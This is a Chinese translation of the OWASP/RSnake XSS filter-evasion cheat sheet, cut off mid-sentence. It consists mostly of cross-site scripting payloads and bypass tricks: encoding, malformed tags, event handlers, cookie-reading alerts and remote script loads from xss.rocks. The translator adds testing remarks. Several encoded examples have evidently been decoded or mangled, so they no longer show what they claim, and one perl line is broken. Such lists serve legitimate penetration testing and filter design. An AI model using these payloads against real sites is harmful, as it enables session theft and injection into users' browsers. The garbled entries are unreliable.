1.介绍
这篇文章的主要目的是给专业安全测试人员提供一份跨站脚本漏洞检测指南。文章的初始内容是由RSnake提供给 OWASP,内容基于他的XSS备忘录:http://ha.ckers.org/xss.html。目前这个网页已经重定向到OWASP网站,将由OWASP维护和完善它。OWASP 的第一个防御备忘录项目:XSS (Cross Site Scripting)Prevention Cheat Sheet 灵感来源于 RSnake 的 XSS Cheat Sheet,所以我们对他给予我们的启发表示感谢。我们想要去创建短小简单的参考给开发者以便帮助他们预防 XSS漏洞,而不是简单的告诉他们需要使用复杂的方法构建应用来预防各种千奇百怪的攻击,这也是OWASP 备忘录系列诞生的原因。
2.测试
这份备忘录是为那些已经理解XSS攻击,但是想要了解关于绕过过滤器方法之间细微差别的人准备的。
请注意大部分的跨站脚本攻击向量已经在其代码下方给出的浏览器列表中进行测试。
2.1. XSS定位器
在大多数存在漏洞且不需要特定XSS攻击代码的地方插入下列代码会弹出包含“XSS”字样的对话框。使用URL编码器来对整个代码进行编码。
小技巧:如果你时间很紧想要快速检查页面,通常只要插入“<任意文本>”标签,然后观察页面输出是否明显改变了就可以判断是否存在漏洞(javascript中注入测试payload):
';alert(String.fromCharCode(88,83,83))//
';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//"
;alert(String.fromCharCode(88,83,83))//–
></SCRIPT>">'>
2.4. 利用多语言进行过滤绕过
'">>”>
</|\>
<plaintext/onmouseover=prompt(1)>
<script>prompt(1)</script>@gmail.com
<script>alert(document.cookie)</script>”>
<img/id=”confirm(1)”/alt=”/”src=”/”onerror=eval(id)>’”>
<img src=”http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg“>
2.5. 通过JavaScript命令实现的图片XSS
图片注入使用JavaScript命令实现(IE7.0 不支持在图片上下文中使用JavaScript 命令,但是可以在其他上下文触发。下面的例子展示了一种其他标签依旧通用的原理):
<IMG SRC="javascript:alert(‘XSS’);">
2.6. 无分号无引号
<IMG SRC=javascript:alert(‘XSS’)>
2.7. 不区分大小写的XSS攻击向量
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
2.8. HTML实体
必须有分号才可生效
<IMG SRC=javascript:alert("XSS")>
2.9. 重音符混淆
如果你的JavaScript代码中需要同时使用单引号和双引号,那么可以使用重音符(`)来包含JavaScript 代码。这通常会有很大帮助,因为大部分跨站脚本过滤器都没有过滤这个字符:
<IMG SRC=`javascript:alert(“RSnake says, ‘XSS’”)`>
2.10. 畸形的A标签
跳过HREF标签找到XSS的重点。。。由DavidCross提交~已在Chrome上验证
<a onmouseover="alert(document.cookie)">xxs link</a>
此外Chrome经常帮你补全确实的引号。。。如果在这方面遇到问题就直接省略引号,Chrome会帮你补全在URL或脚本中缺少的引号。
<a onmouseover=alert(document.cookie)>xxs link</a>
2.11. 畸形的IMG标签
最初由Begeek发现(短小精湛适用于所有浏览器),这个XSS攻击向量使用了不严格的渲染引擎来构造含有IMG标签并被引号包含的XSS攻击向量。我猜测这种解析原来是为了兼容不规范的编码。这会让它更加难以正确的解析HTML标签:
<IMG """>">
2.12. fromCharCode函数
如果不允许任何形式的引号,你可以通过执行JavaScript里的fromCharCode函数来创建任何你需要的XSS攻击向量:
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
2.13. 使用默认SRC属性绕过SRC域名过滤器
这种方法可以绕过大多数SRC域名过滤器。将JavaScript代码插入事件方法同样适用于注入使用elements的任何HTML标签,例如Form,Iframe, Input, Embed等等。它同样允许将事件替换为任何标签中可用的事件类型,例如onblur,onclick。下面会给出许多不同的可注入事件列表。由David Cross提交,Abdullah Hussam(@Abdulahhusam)编辑。
<IMG SRC=# onmouseover="alert('xxs')">
实际测试中#不可用
2.14. 使用默认为空的SRC属性
<IMG SRC= onmouseover="alert('xxs')">
实际测试中浏览器会在src后加引号把onmouseover后的内容当作是src的内容,chrome,firefox和IE中都是,此条方法作废。
2.15. 使用不含SRC属性
<IMG onmouseover="alert('xxs')">
实际测试中无SRC会导致图片大小为0,无法用onmouseover触发,需要用src=/ 来使图片有大小进而触发onmouseover事件
2.16. 通过error事件触发alert
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))">>
2.17. 对IMG标签中onerror属性进行编码
<img src=x
onerror="javascript:alert('XSS')">
2.18. 十进制HTML字符实体编码
所有在IMG标签里直接使用javascript:形式的XSS示例无法在Firefox或Netscape8.1以上浏览器(使用Gecko渲染引擎)运行。
<IMG SRC=javascript:alert(> 'XSS')>
2.19. 不带分号的十进制HTML字符实体编码
这对于绕过对“&#XX;”形式的XSS过滤非常有用,因为大多数人不知道最长可使用7位数字。这同样对例如$tmp_string =~s/.&#(\d+);./$1/;形式的过滤器有效,这种过滤器是错误的认为HTML字符实体编码需要用分号结尾(无意中发现的):
<IMG SRC=javascript:alert('XSS')>
我的电脑无法实现
2.20. 不带分号的十六进制HTML字符实体编码
这是有效绕过例如$tmp_string =~ s/.&#(\d+);./$1/;过滤器的方法。这种过滤器错误的认为#号后会跟着数字(十六进制HTML字符实体编码并非如此)
<IMG SRC=javascript:alert('XSS')>
2.21. 内嵌TAB
使用TAB来分开XSS攻击代码:
<IMG SRC=”jav ascript:alert(‘XSS’);”>
2.22. 内嵌编码后TAB
使用编码后的TAB来分开XSS攻击代码:
<IMG SRC="jav ascript:alert(‘XSS’);">
2.23. 内嵌换行分隔XSS攻击代码
一些网站声称09到13(十进制)的HTML实体字符都可以实现这种攻击,这是不正确的。只有09(TAB),10(换行)和13(回车)有效。查看ASCII字符表获取更多细节。下面几个XSS示例介绍了这些向量。
<IMG SRC="jav
ascript:alert(‘XSS’);">
2.24. 内嵌回车分隔XSS攻击代码
注意:上面使用了比实际需要长的字符串是因为0可以忽略。经常可以遇到过滤器解码十六进制和十进制编码时认为只有2到3位字符。实际规则是1至7位字符:
<IMG SRC="jav
ascript:alert(‘XSS’);">
2.25. 使用空字符分隔JavaScript指令
空字符同样可以作为XSS攻击向量,但和上面有所区别,你需要使用一些例如Burp工具或在URL字符串里使用%00,亦或你想使用VIM编写自己的注入工具(^V^@会生成空字符),还可以通过程序生成它到一个文本文件。老版本的Opera浏览器(例如Windows版的7.11)还会受另一个字符173(软连字符)的影响。但是空字符%00更加有用并且能帮助绕过真实世界里的过滤器,例如这个例子里的变形:
perl -e 'print "
";' > out
2.26. 利用IMG标签中JavaScript指令前的空格和元字符
如果过滤器不计算”javascript:”前的空格,这是正确的,因为它们不会被解析,但这点非常有用。因为这会造成错误的假设,就是引号和”javascript:”字样间不能有任何字符。实际情况是你可以插入任何十进制的1至32号字符:
<IMG SRC=" javascript:alert('XSS');">
2.27. 利用非字母非数字字符
FireFox的HTML解析器认为HTML关键词后不能有非字母非数字字符,并且认为这是一个空白或在HTML标签后的无效符号。但问题是有的XSS过滤器认为它们要查找的标记会被空白字符分隔。例如"
基于上面的原理,可以使用模糊测试进行扩展。Gecko渲染引擎允许任何字符包括字母,数字或特殊字符(例如引号,尖括号等)存在于事件名称和等号之间,这会使得更加容易绕过跨站脚本过滤。注意这同样适用于下面看到的重音符:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
上面发现+号可以,其他不行,下面的倒是可以用/来代替空格
Yair Amit让我注意到了IE和Gecko渲染引擎有一点不同行为,在于是否在HTML标签和参数之间允许一个不含空格的斜杠。这会非常有用如果系统不允许空格的时候。
<SCRIPT/SRC=”http://xss.rocks/xss.js“>
2.28. 额外的尖括号
由Franz Sedlmaier提交,这个XSS攻击向量可以绕过某些检测引擎,比如先查找第一个匹配的尖括号,然后比较里面的标签内容,而不是使用更有效的算法,例如Boyer-Moore算法就是查找整个字符串中的尖括号和相应标签(当然是通过模糊匹配)。双斜杠注释了额外的尖括号来防止出现JavaScript错误:
<<SCRIPT>alert("XSS");//<
2.29. 未闭合的script标签
在Firefox和Netscape 8.1的Gecko渲染引擎下你不是必须构造类似“>
”的跨站脚本攻击向量。Firefox假定闭合HTML标签是安全的并且会为你添加闭合标记。多么体贴!不像不影响Firefox的下一个问题,这不需要在后面有额外的HTML标签。如果需要可以添加引号,但通常是没有必要的,需要注意的是,我并不知道这样注入后HTML会什么样子结束:<SCRIPT SRC=http://xss.rocks/xss.js%20
2.30. script标签中的协议解析
这个特定的变体是由Łukasz Pilorz提交的并且基于Ozh提供的协议解析绕过。这个跨站脚本示例在IE和Netscape的IE渲染模式下有效,如果添加了
标记在Opera中也可以。这在输入空间有限的情况下是非常有用的,你所使用的域名越短越好。”.j”是可用的,在SCRIPT标签中不需要考虑编码类型因为浏览器会自动识别。<SCRIPT SRC=//xss.rocks/.j>
2.31. 只含左尖括号的HTML/JavaScript XSS向量
IE渲染引擎不像Firefox,不会向页面中添加额外数据。但它允许在IMG标签中直接使用javascript。这对构造攻击向量是很有用的,因为不需要闭合尖括号。这使得有任何HTML标签都可以进行跨站脚本攻击向量注入。甚至可以不使用”>”闭合标签。注意:这会让HTML页面变得混乱,具体程度取决于下面的HTML标签。这可以绕过以下NIDS正则:/((\%3D)|(=))\n*((\%3C)|<)\n+((\%3E)|>)/因为不需要”>”闭合。另外在实际对抗XSS过滤器的时候,使用一个半开放的